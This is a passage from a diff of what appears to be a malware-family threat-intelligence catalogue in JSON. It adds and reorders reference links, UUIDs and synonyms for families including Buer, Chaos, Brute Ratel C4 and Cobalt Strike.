"https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", - "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" + "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", + "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [ "SORRYBRUTE" @@ -14297,8 +14932,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab", "https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/", - "https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html" ], "synonyms": [], "type": [] @@ -14339,9 +14974,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", - "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html", "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", - "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/" + "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/", + "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html" ], "synonyms": [], "type": [] @@ -14349,6 +14984,20 @@ "uuid": "75a03c4f-8a97-4fc0-a69e-b2e73e4564fc", "value": "BrushaLoader" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", + "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v" + ], + "synonyms": [], + "type": [] + }, + "uuid": "19e4df44-d469-4903-8999-22d650a21dd7", + "value": "Brute Ratel C4" + }, { "description": "", "meta": { @@ -14367,10 +15016,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005", - "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT", + "https://www.secureworks.com/research/threat-profiles/bronze-palace" ], "synonyms": [], "type": [] @@ -14410,36 +15059,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", - "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", - "http://www.secureworks.com/research/threat-profiles/gold-symphony", - "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", - "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://blog.minerva-labs.com/stopping-buerloader", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "https://twitter.com/SophosLabs/status/1321844306970251265", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", + "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", + "https://blog.minerva-labs.com/stopping-buerloader", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://twitter.com/StopMalvertisin/status/1182505434231398401", + "http://www.secureworks.com/research/threat-profiles/gold-symphony", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", "http://www.secureworks.com/research/threat-profiles/gold-blackburn", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", "https://blog.group-ib.com/prometheus-tds", - "https://twitter.com/StopMalvertisin/status/1182505434231398401", - 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"https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/" + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s" ], "synonyms": [], "type": [] @@ -15022,11 +15705,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/", "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", - "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec" + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", + "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", + "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" ], "synonyms": [], "type": [] @@ -15034,24 +15717,38 @@ "uuid": "36f9a5e0-9a78-4b9a-9072-1596c91b59b6", "value": "Chainshot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack", + "https://blog.certfa.com/posts/fake-interview-the-new-activity-of-charming-kitten/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f049e626-7de2-4648-81db-53dfd34f2fab", + "value": "CHAIRSMACK" + }, { "description": "In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a \"Ryuk .Net Ransomware Builder\" even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos", + "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", + "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", "https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging", + "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/", "https://twitter.com/vinopaljiri/status/1519645742440329216", - "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", - "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", - "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", - "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/" + "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html" ], "synonyms": [ "FakeRyuk", - "RyukJoke" + "RyukJoke", + "Yashma" ], "type": [] }, @@ -15063,8 +15760,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone", - "https://securelist.com/project-tajmahal/90240/", "https://github.com/TheEnergyStory/malware_analysis/tree/master/TajMahal", + "https://securelist.com/project-tajmahal/90240/", "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [ @@ -15093,12 +15790,12 @@ "meta": { "refs": [ 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"https://twitter.com/VK_Intel/status/1255537954304524288", + "https://labs.k7computing.com/?p=21725Lokesh", + "https://www.fortinet.com/blog/threat-research/spoofed-saudi-purchase-order-drops-guloader-part-two", + "https://twitter.com/sysopfb/status/1258809373159305216", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/" ], "synonyms": [ "GuLoader", @@ -15668,8 +16381,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cmstar", - "https://twitter.com/ClearskySec/status/963829930776723461", + "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://twitter.com/ClearskySec/status/963829930776723461", "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/" ], 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"https://twitter.com/ffforward/status/1324281530026524672", - "https://community.riskiq.com/article/0bcefe76", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://michaelkoczwara.medium.com/cobalt-strike-powershell-payload-analysis-eecf74b3c2f7", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", - "https://www.telsy.com/download/5972/?uid=d7c082ba55", + "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", + "https://mp.weixin.qq.com/s/peIpPJLt4NuJI1a31S_qbQ", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", + "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", + 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"https://malcat.fr/blog/lnk-forensic-and-config-extraction-of-a-cobalt-strike-beacon/", "https://unit42.paloaltonetworks.com/fireeye-red-team-tool-breach/", - "https://www.cobaltstrike.com/support", - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", - "https://blog.cobaltstrike.com/2020/03/04/cobalt-strike-joins-core-impact-at-helpsystems-llc/", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", - "https://thedfirreport.com/2022/04/25/quantum-ransomware/", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.intezer.com/blog/malware-analysis/cobalt-strike-detect-this-persistent-threat/", + "https://wbglil.gitbook.io/cobalt-strike/", + "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://www.getrevue.co/profile/80vul/issues/hunting-cobalt-strike-dns-redirectors-by-using-zoomeye-580734", + "https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://malwarelab.eu/posts/fin6-cobalt-strike/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://asec.ahnlab.com/en/31811/", + "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", "https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/sneak-peek-ch1-2-finding-beacons-in-the-dark.pdf", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-2/", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", - "https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://twitter.com/TheDFIRReport/status/1359669513520873473", - "https://asec.ahnlab.com/ko/19640/", + "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html", + "https://kienmanowar.wordpress.com/2021/09/06/quick-analysis-cobaltstrike-loader-and-shellcode/", + "https://connormcgarr.github.io/thread-hijacking/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", + "https://www.mandiant.com/media/12596/download", + "https://malwareandstuff.com/mustang-panda-joins-the-covid19-bandwagon/", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", + "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", + "https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-011.pdf", + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/harvester-new-apt-attacks-asia", + "https://www.mandiant.com/media/10916/download", + "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", + "https://twitter.com/elisalem9/status/1398566939656601606", + "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", + "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/", + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://mergene.medium.com/enterprise-scale-threat-hunting-network-beacon-detection-with-unsupervised-ml-and-kql-part-2-bff46cfc1e7e", + "https://www.silentpush.com/blog/consequences-the-conti-leaks-and-future-problems", + "https://malware-traffic-analysis.net/2021/09/29/index.html", + "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://www.recordedfuture.com/solardeflection-c2-infrastructure-used-by-nobelium-in-company-brand-misuse/", + "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", + "https://twitter.com/vikas891/status/1385306823662587905", + "https://redcanary.com/blog/grief-ransomware/", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", + "https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-simple-pcap-and-beacon-analysis-f51c36ce6811", + "https://cert.gov.ua/article/703548", + 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"https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.malware-traffic-analysis.net/2021/09/17/index.html", + "https://twitter.com/GossiTheDog/status/1438500100238577670", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", + "https://blog.group-ib.com/colunmtk_apt41", + "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", + "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", + "https://news.sophos.com/en-us/2021/05/05/intervention-halts-a-proxylogon-enabled-attack", + "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", + "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", + "https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux", + "https://grimminck.medium.com/spoofing-jarm-signatures-i-am-the-cobalt-strike-server-now-a27bd549fc6b", + "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-1", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa21-148a", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.guidepointsecurity.com/blog/a-ransomware-near-miss-proxyshell-a-rat-and-cobalt-strike/", + "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", + "https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", + "https://asec.ahnlab.com/ko/19860/", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", + "https://www.crowdstrike.com/blog/how-falcon-complete-disrupts-ecrime-operators-wizard-spider/", + "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", + "https://www.deepinstinct.com/2021/03/18/cobalt-strike-post-exploitation-attackers-toolkit/", + "https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims", + "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://blog.morphisec.com/log4j-exploit-targets-vulnerable-unifi-network-applications", + "https://www.accenture.com/us-en/blogs/security/ransomware-hades", + "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.cobaltstrike.com/support", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://attackiq.com/2022/06/03/attack-graph-response-to-us-cert-aa22-152a-karakurt-data-extortion-group/", + "https://www.telsy.com/legitimate-sites-used-as-cobalt-strike-c2s-against-indian-government/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", + "https://isc.sans.edu/diary/rss/27618", + "https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html", + "https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://twitter.com/alex_lanstein/status/1399829754887524354", + "https://isc.sans.edu/diary/rss/27176", + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", + "https://twitter.com/Cryptolaemus1/status/1407135648528711680", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://twitter.com/RedDrip7/status/1402640362972147717?s=20", + "https://securelist.com/apt-luminousmoth/103332/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", + "https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://videos.didierstevens.com/2022/09/06/an-obfuscated-beacon-extra-xor-layer/", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-148a", + "https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + 